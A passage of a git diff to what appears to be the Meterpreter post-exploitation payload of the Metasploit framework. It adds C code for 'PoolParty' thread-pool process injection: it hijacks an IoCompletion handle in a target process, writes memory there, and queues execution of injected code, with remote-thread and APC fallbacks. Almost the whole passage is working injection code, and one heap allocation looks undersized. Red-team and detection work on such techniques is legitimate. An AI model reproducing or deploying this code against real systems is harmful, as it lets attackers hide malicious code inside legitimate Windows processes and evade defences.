lpDllBuffer, reflectiveLoader ); - if( !dwReflectiveLoaderOffset ) - BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION ); + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpDllBuffer, reflectiveLoader); + if (!dwReflectiveLoaderOffset) + BREAK_WITH_ERROR("[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION); - hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid ); - if( !hProcess ) - BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." ); + hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid); + if (!hProcess) + BREAK_ON_ERROR("[INJECT] inject_dll. OpenProcess failed."); - if( lpArg ) + if (lpArg) { if (stArgSize) { @@ -550,33 +673,46 @@ DWORD inject_dll( DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWOR } // alloc memory (RWX) in the host process for the image... - lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteLibraryBuffer ) - BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" ); + lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwDllLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!lpRemoteLibraryBuffer) + BREAK_ON_ERROR("[INJECT] inject_dll. VirtualAllocEx 2 failed"); // write the image into the host process... - if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLength, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); + if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLength, NULL)) + BREAK_ON_ERROR("[INJECT] inject_dll. WriteProcessMemory 2 failed"); // add the offset to ReflectiveLoader() to the remote library address... lpReflectiveLoader = (LPVOID)((DWORD_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); // First we try to inject by directly creating a remote thread in the target process - if( inject_via_remotethread( NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg ) != ERROR_SUCCESS ) - { - dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." ); + if (bPoolParty) { + dwResult = inject_via_poolparty(NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg); + if (dwResult != ERROR_SUCCESS) { + dprintf("[INJECT] inject_via_poolparty failed, proceeding with legacy injection."); + // Reset dwResult and set bPoolParty to FALSE. + dwResult = ERROR_SUCCESS; + bPoolParty = FALSE; + } + + } + + if (!bPoolParty) { + if (inject_via_remotethread(NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg) != ERROR_SUCCESS) + { + dprintf("[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..."); - // If that fails we can try to migrate via a queued APC in the target process - if( inject_via_apcthread( NULL, NULL, hProcess, dwPid, dwDestinationArch, lpReflectiveLoader, lpRemoteArg ) != ERROR_SUCCESS ) - BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" ) + // If that fails we can try to migrate via a queued APC in the target process + if (inject_via_apcthread(NULL, NULL, hProcess, dwPid, dwDestinationArch, lpReflectiveLoader, lpRemoteArg) != ERROR_SUCCESS) + BREAK_ON_ERROR("[INJECT] inject_dll. inject_via_apcthread failed") + } } dwResult = ERROR_SUCCESS; - } while( 0 ); + } while (0); - if( hProcess ) - CloseHandle( hProcess ); + if (hProcess) + CloseHandle(hProcess); return dwResult; -} +} \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/base_inject.h b/c/meterpreter/source/metsrv/base_inject.h index cc6c20739..4c639b5b3 100644 --- a/c/meterpreter/source/metsrv/base_inject.h +++ b/c/meterpreter/source/metsrv/base_inject.h @@ -7,6 +7,7 @@ #define MIGRATE_TECHNIQUE_REMOTETHREAD 0 #define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1 #define MIGRATE_TECHNIQUE_APCQUEUE 2 +#define MIGRATE_TECHNIQUE_POOLPARTY 3 //===============================================================================================// @@ -65,16 +66,40 @@ typedef struct _WOW64CONTEXT } t; } WOW64CONTEXT, * LPWOW64CONTEXT; +// The context used for injection via migrate_via_poolparty +typedef struct _POOLPARTYCONTEXT +{ + union + { + LPVOID lpStartAddress; + BYTE bPadding[8]; + } s; + + union + { + LPVOID lpParameter; + BYTE bPadding[8]; + } p; + + union + { + LPVOID hTriggerEvent; + BYTE bPadding[8]; + } e; + +} POOLPARTYCONTEXT, * LPPOOLPARTYCONTEXT; + //===============================================================================================// DWORD inject_via_apcthread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); +DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize); - +BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch); //===============================================================================================// #endif //===============================================================================================// \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/pool_party.c b/c/meterpreter/source/metsrv/pool_party.c new file mode 100644 index 000000000..ab4321667 --- /dev/null +++ b/c/meterpreter/source/metsrv/pool_party.c @@ -0,0 +1,325 @@ +#include "common.h" +#include "pool_party.h" +#include "pool_party_ext.h" + +NtDll *pNtDll = NULL; +POOLPARTY_INJECTOR* poolLifeguard = NULL; + +NtDll* GetOrInitNtDll() { + BOOL bError = FALSE; + HANDLE hHeap = GetProcessHeap(); + + do { + if (pNtDll != NULL || hHeap == NULL) { + break; + } + + pNtDll = (NtDll*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(pNtDll)); + if(!pNtDll) { + break; + } + + HMODULE hNtDll = NULL; + hNtDll = GetModuleHandleA("ntdll.dll"); + if(!hNtDll) { + hNtDll = LoadLibraryA("ntdll.dll"); + bError = hNtDll == NULL; + if(bError) { + break; + } + } + + pNtDll->pNtQueryInformationProcess = (NTSTATUS(NTAPI*)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationProcess"); + pNtDll->pNtQueryObject = (NTSTATUS(NTAPI*)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryObject"); + + if(pNtDll->pNtQueryInformationProcess == NULL || pNtDll->pNtQueryObject == NULL) { + bError = TRUE; + break; + } + dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: %p NtQueryObject: %p", pNtDll->pNtQueryInformationProcess, pNtDll->pNtQueryObject); + + pNtDll->pZwSetIoCompletion = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR))GetProcAddress(hNtDll, "ZwSetIoCompletion"); + if (pNtDll->pZwSetIoCompletion != NULL) { + if (poolLifeguard != NULL) { + poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isSystemSupported = TRUE; + } + } + dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: %p", pNtDll->pZwSetIoCompletion); + + //ntdll->pZwAssociateWaitCompletionPacket = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN))GetProcAddress(hNtDll, "ZwAssociateWaitCompletionPacket"); + //if (ntdll->pZwAssociateWaitCompletionPacket != NULL) { + // if (poolLifeguard != NULL) { + // poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isSystemSupported = TRUE; + // } + //} + //dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwAssociateWaitCompletionPacket: %p", ntdll->pZwAssociateWaitCompletionPacket); + + //ntdll->pNtQueryInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationWorkerFactory"); // WIN 7 + //dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationWorkerFactory: %p", ntdll->pNtQueryInformationWorkerFactory); + + //ntdll->pNtSetInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG))GetProcAddress(hNtDll, "NtSetInformationWorkerFactory"); // WIN7 + //dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtSetInformationWorkerFactory: %p", ntdll->pNtSetInformationWorkerFactory); + + //if (ntdll->pNtQueryInformationWorkerFactory != NULL && ntdll->pNtSetInformationWorkerFactory != NULL) { + // if (poolLifeguard != NULL) { + // poolLifeguard->variants[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE].isSystemSupported = TRUE; + // } + //} + }while(0); + + if (bError) { + HeapFree(hHeap, 0, pNtDll); + pNtDll = NULL; + } + return pNtDll; +} + +POOLPARTY_INJECTOR* GetOrInitPoolParty(DWORD dwSourceArch, DWORD dwDestinationArch) { + BOOL bError = FALSE; + HANDLE hHeap = GetProcessHeap(); + bError = (hHeap == NULL); + do { + + if (poolLifeguard != NULL) { + break; + } + + poolLifeguard = (POOLPARTY_INJECTOR*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(POOLPARTY_INJECTOR)); + if(!poolLifeguard) { + break; + } + + poolLifeguard->init = FALSE; + if (pNtDll == NULL) { + if(!GetOrInitNtDll()) { + // We weren't able to initialize NtDll + // Set the bError to true so we can Free the heap allocation. + bError = TRUE; + break; + } + } + if (dwSourceArch == PROCESS_ARCH_X64 || dwSourceArch == PROCESS_ARCH_X86) { + if (dwDestinationArch == PROCESS_ARCH_X64) { + // poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isInjectionSupported = poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isSystemSupported; + } + poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isInjectionSupported = poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isSystemSupported; + } + poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].handler = remote_tp_direct_insertion; + // poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].handler = remote_tp_wait_insertion; + // poolLifeguard->variants[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE].handler = worker_factory_start_routine_overwrite; + poolLifeguard->init = TRUE; + + }while(0); + + if (bError && poolLifeguard != NULL) { + HeapFree(hHeap, 0, poolLifeguard); + poolLifeguard = NULL; + } + return poolLifeguard; +} + +// For now we support only Windows >= 10 and x64 | wow64 -> x64 +BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch) { + OSVERSIONINFO os = { 0 }; + os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); + NTSTATUS(*pRtlGetVersion)(OSVERSIONINFO * os) = (NTSTATUS(*)(OSVERSIONINFO * os)) GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlGetVersion"); + dprintf("[INJECT][supports_poolparty_injection] RtlGetVersion: %p", pRtlGetVersion); + if (!pRtlGetVersion(&os)) { + dprintf("[INJECT][supports_poolparty_injection] dwSourceArch: %d dwDestinationArch: %d", dwSourceArch, dwDestinationArch); + dprintf("[INJECT][supports_poolparty_injection] os.dwMajorVersion: %d os.dwMinorVersion: %d", os.dwMajorVersion, os.dwMinorVersion); + if (os.dwMajorVersion >= 10) { + if (dwDestinationArch == PROCESS_ARCH_X64 && (dwSourceArch == PROCESS_ARCH_X64 || dwSourceArch == PROCESS_ARCH_X86)) { + return TRUE; + } + } + } + return FALSE; +} + +HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) { + HANDLE hHijackHandle = INVALID_HANDLE_VALUE; + DWORD dwInformationSizeIn = 2048; + DWORD dwInformationSizeOut = 0; + HANDLE hCurrProcess = GetCurrentProcess(); + HANDLE hHeap = GetProcessHeap(); + PPROCESS_HANDLE_SNAPSHOT_INFORMATION lpProcessInfo = NULL; + PPUBLIC_OBJECT_TYPE_INFORMATION lpObjectInfo = NULL; + DWORD ntStatus = -1; + + if(GetOrInitNtDll() == NULL) { + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] GetOrInitNtDll() returned NULL"); + return INVALID_HANDLE_VALUE; + } + lpProcessInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn); + if(lpProcessInfo == NULL) { + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] HeapAlloc() returned NULL"); + return INVALID_HANDLE_VALUE; + } + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p", lpProcessInfo); + while (ntStatus != STATUS_SUCCESS) { + ntStatus = pNtDll->pNtQueryInformationProcess(hProcess, ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut); + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : %p", ntStatus); + if (ntStatus == STATUS_INFO_LENGTH_MISMATCH && dwInformationSizeIn != dwInformationSizeOut) { + lpProcessInfo = HeapReAlloc(hHeap, 0, lpProcessInfo, dwInformationSizeOut); + if(lpProcessInfo == NULL) { + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] HeapReAlloc() returned NULL"); + return INVALID_HANDLE_VALUE; + } + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] HeapReAlloc lpProcessInfo: %p", lpProcessInfo); + dwInformationSizeIn = dwInformationSizeOut; + continue; + } + if (ntStatus != STATUS_SUCCESS && ntStatus != STATUS_INFO_LENGTH_MISMATCH) { + HeapFree(hHeap, 0, lpProcessInfo); + return INVALID_HANDLE_VALUE; + } + } + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p dwInformationSizeIn: %d", lpProcessInfo, dwInformationSizeIn); + dwInformationSizeIn = 2048; + dwInformationSizeOut = 0; + lpObjectInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn); + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpObjectInfo: %p", lpObjectInfo); + for (ULONG i = 0; i < lpProcessInfo->NumberOfHandles; i++) { + if (DuplicateHandle(hProcess, lpProcessInfo->Handles[i].HandleValue, hCurrProcess, &hHijackHandle, dwDesiredAccess, FALSE, 0)) { + pNtDll->pNtQueryObject(hHijackHandle, ObjectTypeInformation, lpObjectInfo, dwInformationSizeIn, &dwInformationSizeOut); + if (dwInformationSizeIn > dwInformationSizeOut) { + if (lstrcmpW(typeName, lpObjectInfo->TypeName.Buffer) == 0) { + break; + } + } + CloseHandle(hHijackHandle); + } + hHijackHandle = INVALID_HANDLE_VALUE; + } + HeapFree(hHeap, 0, lpObjectInfo); + HeapFree(hHeap, 0, lpProcessInfo); + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] hHijackHandle: %p", hHijackHandle); + return hHijackHandle; +} + +DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent) { + BOOL bError = FALSE; + HANDLE hHijackHandle = INVALID_HANDLE_VALUE; + ULONG dwInformationSizeIn = 1; + ULONG dwInformationSizeOut = 0; + DWORD dwResult = ERROR_INVALID_FUNCTION; + HANDLE hHeap = GetProcessHeap(); + LPVOID *lpDirect = NULL; + + do { + GetOrInitNtDll(); + if (pNtDll == NULL) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_INVALID_FUNCTION); + } + if (dwDestinationArch != PROCESS_ARCH_X64) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Currently only x86-64 destination arch is supported.", ERROR_NOT_SUPPORTED); + } + if (!poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isInjectionSupported) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_NOT_SUPPORTED) + } + lpDirect = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, TP_DIRECT_STRUCT_SIZE_X64); + if(lpDirect == NULL) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_OUTOFMEMORY) + } + hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS); + + if (hHijackHandle == INVALID_HANDLE_VALUE) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_NOT_SUPPORTED) + } + + if (hHijackHandle != INVALID_HANDLE_VALUE) { + *(QWORD*)((BYTE*)lpDirect + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress; + LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, TP_DIRECT_STRUCT_SIZE_X64, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!RemoteDirectAddress) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to allocate RemoteDirectAddress.", ERROR_NOT_SUPPORTED) + } + if (!WriteProcessMemory(hProcess, RemoteDirectAddress, lpDirect, TP_DIRECT_STRUCT_SIZE_X64, NULL)) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory.", ERROR_NOT_SUPPORTED) + } + dwResult = pNtDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0); + dprintf("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] ZwSetIoCompletion: %d", dwResult); + if(dwResult != 0) { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] ZwSetIoCompletion failed.", ERROR_NOT_SUPPORTED); + } + } + } while (0); + if(lpDirect != NULL) { + HeapFree(hHeap, 0, lpDirect); + } + return dwResult; +} + +//DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerHandle) { +// BOOL bError = FALSE; +// HANDLE hHijackHandle = INVALID_HANDLE_VALUE; +// ULONG dwInformationSizeIn = 1; +// ULONG dwInformationSizeOut = 0; +// pNtDll* ntDll = NULL; +// DWORD dwResult = ERROR_POOLPARTY_GENERIC; +// HANDLE hHeap = GetProcessHeap(); +// POOLPARTY_INJECTOR* pLifeguard = NULL; +// HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, NULL); +// do { +// ntDll = GetOrInitNtDll(); +// if (ntDll == NULL) { +// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Cannot init GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC); +// } +// if (!poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isInjectionSupported) { +// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED) +// } +// hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS); +// +// if (hHijackHandle == INVALID_HANDLE_VALUE) { +// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED) +// } +// +// if (hHijackHandle != INVALID_HANDLE_VALUE) { +// PFULL_TP_WAIT hThreadPool = (PFULL_TP_WAIT)CreateThreadpoolWait((PTP_WAIT_CALLBACK)(lpStartAddress), lpParameter, NULL); +// PFULL_TP_WAIT pRemoteTpWait = VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_WAIT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); +// WriteProcessMemory(hProcess, pRemoteTpWait, hThreadPool, sizeof(FULL_TP_WAIT), NULL); +// +// PTP_DIRECT pRemoteTpDirect = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); +// WriteProcessMemory(hProcess, pRemoteTpDirect, &hThreadPool->Direct, sizeof(TP_DIRECT), NULL); +// ntDll->pZwAssociateWaitCompletionPacket(hThreadPool->WaitPkt, hHijackHandle, hEvent, pRemoteTpDirect, pRemoteTpWait, 0, 0, NULL); +// SetEvent(hEvent); +// dwResult = 0; +// } +// } while (0); +// return dwResult; +//} + +//DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent) { +// BOOL bError = FALSE; +// HANDLE hHijackHandle = INVALID_HANDLE_VALUE; +// ULONG dwInformationSizeIn = 1; +// ULONG dwInformationSizeOut = 0; +// pNtDll* ntDll = NULL; +// DWORD dwResult = ERROR_POOLPARTY_GENERIC; +// HANDLE hHeap = GetProcessHeap(); +// WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = { 0 }; +// do { +// ntDll = GetOrInitNtDll(); +// if (ntdll == NULL) { +// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC); +// } +// if (poolLifeguard->variants[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE].isInjectionSupported) { +// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED) +// } +// hHijackHandle = GetRemoteHandle(hProcess, L"TpWorkerFactory", WORKER_FACTORY_ALL_ACCESS); +// +// if (hHijackHandle == INVALID_HANDLE_VALUE) { +// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED) +// } +// +// if (hHijackHandle != INVALID_HANDLE_VALUE) { +// ntdll->pNtQueryInformationWorkerFactory(hHijackHandle, WorkerFactoryBasicInformation, &WorkerFactoryInformation, sizeof(WorkerFactoryInformation), NULL); +// +// ULONG WorkerFactoryMinimumThreadNumber = WorkerFactoryInformation.TotalWorkerCount + 1; +// dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] WorkerFactoryInformation.StartRoutine: %ull", WorkerFactoryInformation.StartRoutine); +// ntdll->pNtSetInformationWorkerFactory(hHijackHandle, WorkerFactoryThreadMinimum, &WorkerFactoryMinimumThreadNumber, sizeof(ULONG)); +// } +// } while (0); +// return dwResult; +//} +// + diff --git a/c/meterpreter/source/metsrv/pool_party.h b/c/meterpreter/source/metsrv/pool_party.h new file mode 100644 index 000000000..877658518 --- /dev/null +++ b/c/meterpreter/source/metsrv/pool_party.h @@ -0,0 +1,24 @@ +#include + +#define POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION 0 +//#define POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION 1 +//#define POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE 2 + +#define POOLPARTY_TECHNIQUE_COUNT 1 + +typedef struct POOL_PARTY_TECHNIQUE_ITEM { + BOOL isSystemSupported; + BOOL isInjectionSupported; + DWORD(*handler)(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent); +} POOL_PARTY_TECHNIQUE_ITEM; + +typedef struct POOLPARTY_INJECTOR { + BOOL init; + POOL_PARTY_TECHNIQUE_ITEM variants[POOLPARTY_TECHNIQUE_COUNT]; +} POOLPARTY_INJECTOR; + +BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch); +POOLPARTY_INJECTOR* GetOrInitPoolParty(DWORD dwSourceArch, DWORD dwDestinationArch); +DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent); +//DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent); +//DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent); \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/pool_party_ext.h b/c/meterpreter/source/metsrv/pool_party_ext.h new file mode 100644 index 000000000..f6410f8ab --- /dev/null +++ b/c/meterpreter/source/metsrv/pool_party_ext.h @@ -0,0 +1,587 @@ +#ifndef POOL_PARTY_H +#define POOL_PARTY_H +typedef struct IUnknown IUnknown; +#include +#include +#include + +#define STATUS_SUCCESS 0 +#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 + +#define TP_DIRECT_STRUCT_SIZE_X64 72 +#define TP_DIRECT_STRUCT_SIZE_X86 56 +#define TP_DIRECT_STRUCT_CB_OFFSET_X64 0x38 +#define TP_DIRECT_STRUCT_CB_OFFSET_X86 0x28 + +// ---------// +// Structs // +// --------// + +#ifndef __MINGW32__ +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID; +#endif + +//typedef struct _FILE_IO_COMPLETION_INFORMATION +//{ +// PVOID KeyContext; +// PVOID ApcContext; +// IO_STATUS_BLOCK IoStatusBlock; +//} FILE_IO_COMPLETION_INFORMATION, * PFILE_IO_COMPLETION_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, * PFILE_COMPLETION_INFORMATION; + + +typedef struct _ALPC_PORT_ATTRIBUTES +{ + unsigned long Flags; + SECURITY_QUALITY_OF_SERVICE SecurityQos; + unsigned __int64 MaxMessageLength; + unsigned __int64 MemoryBandwidth; + unsigned __int64 MaxPoolUsage; + unsigned __int64 MaxSectionSize; + unsigned __int64 MaxViewSize; + unsigned __int64 MaxTotalSectionSize; + ULONG DupObjectTypes; +#ifdef _WIN64 + ULONG Reserved; +#endif +} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES; + +typedef struct _PORT_MESSAGE +{ + union + { + struct + { + USHORT DataLength; + USHORT TotalLength; + } s1; + ULONG Length; + } u1; + union + { + struct + { + USHORT Type; + USHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union + { + CLIENT_ID ClientId; + double DoNotUseThisField; + }; + ULONG MessageId; + union + { + SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages + ULONG CallbackId; // only valid for LPC_REQUEST messages + }; +} PORT_MESSAGE, * PPORT_MESSAGE; + +typedef struct _ALPC_MESSAGE { + PORT_MESSAGE PortHeader; + BYTE PortMessage[1000]; // Hard limit for this is 65488. An Error is thrown if AlpcMaxAllowedMessageLength() is exceeded +} ALPC_MESSAGE, * PALPC_MESSAGE; + +typedef struct _ALPC_MESSAGE_ATTRIBUTES +{ + ULONG AllocatedAttributes; + ULONG ValidAttributes; +} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES; + +typedef struct _ALPC_PORT_ASSOCIATE_COMPLETION_PORT +{ + PVOID CompletionKey; + HANDLE CompletionPort; +} ALPC_PORT_ASSOCIATE_COMPLETION_PORT, * PALPC_PORT_ASSOCIATE_COMPLETION_PORT; + +typedef struct _T2_SET_PARAMETERS_V0 +{ + ULONG Version; + ULONG Reserved; + LONGLONG NoWakeTolerance; +} T2_SET_PARAMETERS, * PT2_SET_PARAMETERS; + +typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO +{ + HANDLE HandleValue; + ULONG_PTR HandleCount; + ULONG_PTR PointerCount; + ACCESS_MASK GrantedAccess; + ULONG ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION +{ + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[ANYSIZE_ARRAY]; +} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION; + +// -------------// +// Enumerations // +// ------------// + +typedef enum +{ + SeDebugPrivilege = 20 +} PRIVILEGES; + +enum ALPC_PORT_INFOCLASS +{ + AlpcAssociateCompletionPortInformation = 2 +}; + +enum 